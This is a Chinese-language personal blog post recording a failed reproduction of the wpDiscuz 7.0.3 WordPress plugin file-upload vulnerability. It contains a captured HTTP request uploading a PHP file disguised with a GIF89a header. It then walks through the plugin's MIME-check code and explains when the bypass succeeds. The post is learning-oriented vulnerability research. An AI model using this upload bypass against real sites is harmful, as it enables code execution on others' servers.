记一次失败的代码审计复现
原本想着复现wpDiscuz插件任意文件上传的。后面没成功
跟了一下代码不清楚是不是修复了,做个笔记
环境
phpstudy
php 7.0.2
wpdiscuz.7.0.3
参考链接
复现过程
将给出的下载插件链接:https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip
下载完后解压到wp-content/plugins
然后登录wordpress启用插件
之后在文章评论区看到如下
根据文章所述,gif头的php进行文件上传,burp抓一波包可以看到如下
(上传失败)
先看看请求包,然后去分析代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.1.109
Content-Length: 653
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLjgZd9hliOFxBBcg
Origin: http://192.168.1.109
Referer: http://192.168.1.109/?p=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; comment_author_email_145d7bef132f82360a6cd87256e47c05=admin@qq.com; comment_author_145d7bef132f82360a6cd87256e47c05=admin
Connection: close
------WebKitFormBoundaryLjgZd9hliOFxBBcg
Content-Disposition: form-data; name="action"
wmuUploadFiles
------WebKitFormBoundaryLjgZd9hliOFxBBcg
Content-Disposition: form-data; name="wmu_nonce"
09f13eeda3
------WebKitFormBoundaryLjgZd9hliOFxBBcg
Content-Disposition: form-data; name="wmuAttachmentsData"
undefined
------WebKitFormBoundaryLjgZd9hliOFxBBcg
Content-Disposition: form-data; name="wmu_files[0]"; filename="test.php"
Content-Type: application/octet-stream
GIF89a<?php
phpinfo();
a?>
------WebKitFormBoundaryLjgZd9hliOFxBBcg
Content-Disposition: form-data; name="postId"
1
------WebKitFormBoundaryLjgZd9hliOFxBBcg--
这里的action是对应模块的处理函数的keywmuUploadFiles
admin-ajax.php
直接搜索wmuUploadFiles
即可找到处理函数所在的位置
(这里其实你也可以单步,跟到他调用函数部分,但是实在太乱。过程变量太多
类似于wordpress也可以看看,请求的页面接收的参数到哪里处理的。直接搜索那个参数可以快速找到功能处理所在的php)
路径在wordpress\wp-content\plugins\wpdiscuz\utils\class.WpdiscuzHelperUpload.php
debug一顿后到312行开始有file请求的处理
关键点在getMimeType
和isAllowedFileType
getMimeType函数
private function getMimeType($file, $extension) {
$mimeType = "";
if (function_exists("mime_content_type")) { //判断mime_content_type函数是否存在,存在就用这个函数处理否则用别的函数或者自己处理
$mimeType = mime_content_type($file["tmp_name"]); // 获取文件MIME 类型
} elseif (function_exists("finfo_open") && function_exists("finfo_file")) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file["tmp_name"]);
} elseif ($extension) {
$matches = wp_check_filetype($file["name"], $this->options->content["wmuMimeTypes"]);
$mimeType = empty($matches["type"]) ? "" : $matches["type"];
}
return $mimeType;
}
mime_content_type他这个函数一直没有,我以为是版本问题换了之后还是一样。还是到wp_check_filetype函数处理
wp_check_filetype函数
根据正则返回对应的MIME类型和文件后缀
function wp_check_filetype( $filename, $mimes = null ) { //test.gif
if ( empty( $mimes ) ) {
$mimes = get_allowed_mime_types(); //返回对应后缀和对应的MIME类型
}
$type = false;
$ext = false;
foreach ( $mimes as $ext_preg => $mime_match ) {
$ext_preg = '!\.(' . $ext_preg . ')$!i';
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { //正则匹配后缀文件名
$type = $mime_match; //对应的MIME类型
$ext = $ext_matches[1]; //返回文件名
break;
}
}
return compact( 'ext', 'type' );
}
上传php的时候$mimeType类型最后为空(自己测的时候)
然后到文件头部判断getMimeTypeFromContent
public function getMimeTypeFromContent($path) {
$fileContent = $path && function_exists("file_get_contents") && ($v = file_get_contents($path)) ? $v : ""; //读取文件内容
if ($fileContent && preg_match('/\A(?:(\xff\xd8\xff)|(GIF8[79]a)|(\x89PNG\x0d\x0a)|(BM)|(\x49\x49(?:\x2a\x00|\x00\x4a))|(FORM.{4}ILBM))/', $fileContent, $hits)) { //文件头信息获取
$type = [
1 => "jpeg",
2 => "gif",
3 => "png",
4 => "bmp",
5 => "tiff",
6 => "ilbm",
];
return $type[count($hits) - 1]; //$hits统计出的数量减1,然后在到$type取对应的后缀
}
return false;
}
测试的payload为GIF98a<?php phpinfo();?>
这里获取到的是gif
然后又进到wp_check_filetype
函数…判断后缀
(返回false)
然后到了
$mimeType = empty($matches["type"]) ? "" : $matches["type"];
由于返回false这里就返回空
然后到isAllowedFileType
函数判断
private function isAllowedFileType($mimeType) {
$isAllowed = false;
if (!empty($this->options->content["wmuMimeTypes"]) && is_array($this->options->content["wmuMimeTypes"])) {
$isAllowed = in_array($mimeType, $this->options->content["wmuMimeTypes"]);
}
return $isAllowed;
}
判断类型是否在数组里面
$isAllowed
返回False,然后$error
为True,返回错误
报错为类型(MIME)错误
(就在快发布的时候乱想,然后成了。就tm离谱)(但是不使用GIF89a头,因为加上那个头部的话又到getMimeTypeFromContent函数里面了,后缀正则匹配不到
给返回个False)
但是如果getMimeType
这里用的是mime_content_type的话确实是可以进行文件上传
为了验证,手动将isAllowedFileType返回修改为true
然后到348行进行文件处理上传
uploadSingleFile
函数
private function uploadSingleFile($file) {
$currentTime = WpdiscuzHelper::getMicrotime(); //获取时间戳
$attachmentData = [];
$path = $this->wpUploadsPath . "/"; //当前年月日的文件夹
$fName = $file["name"]; //文件名
$pathInfo = pathinfo($fName); //分割路径
$realFileName = $pathInfo["filename"];
$ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
$sanitizedName = sanitize_file_name($realFileName);
$cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext; //时间戳后缀拼接
$cleanRealFileName = $sanitizedName . "." . $ext;
$fileName = $path . $cleanFileName; //路径拼接
if (in_array($ext, ["jpeg", "jpg"])) { //没进去
$this->imageFixOrientation($file["tmp_name"]);
}
$success = apply_filters("wpdiscuz_mu_compress_image", false, $file["tmp_name"], $fileName, $q = 60);
if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) { //文件移动
$postParent = apply_filters("wpdiscuz_mu_attachment_parent", 0);
$attachment = [
"guid" => $this->wpUploadsUrl . "/" . $cleanFileName,
"post_mime_type" => $file["type"],
"post_title" => preg_replace("#\.[^.]+$#", "", wp_slash($fName)),
"post_excerpt" => wp_slash($fName),
"post_content" => "",
"post_status" => "inherit",
"post_parent" => $postParent
];
if ($attachId = wp_insert_attachment($attachment, $fileName)) {
add_filter("intermediate_image_sizes", [&$this, "getImagesSizes"]);
$attachData = wp_generate_attachment_metadata($attachId, $fileName);
wp_update_attachment_metadata($attachId, $attachData);
update_post_meta($attachId, "_wp_attachment_image_alt", $fName);
$ip = WpdiscuzHelper::getRealIPAddr();
update_post_meta($attachId, self::METAKEY_ATTCHMENT_OWNER_IP, $ip);
update_post_meta($attachId, self::METAKEY_ATTCHMENT_COMMENT_ID, 0);
$attachmentData["id"] = $attachId;
$attachmentData["url"] = empty($attachData["sizes"]["thumbnail"]["file"]) ? $this->wpUploadsUrl . "/" . $cleanFileName : $this->wpUploadsUrl . "/" . $attachData["sizes"]["thumbnail"]["file"];
$attachmentData["fullname"] = $cleanRealFileName;
$attachmentData["shortname"] = $this->getFileName($cleanRealFileName);
}
}
return $attachmentData;
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:记一次失败的代码审计复现
本文作者:九世
发布时间:2020-09-20, 13:39:07
最后更新:2020-09-20, 15:37:20
原始链接:http://jiushill.github.io/posts/8a502742.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。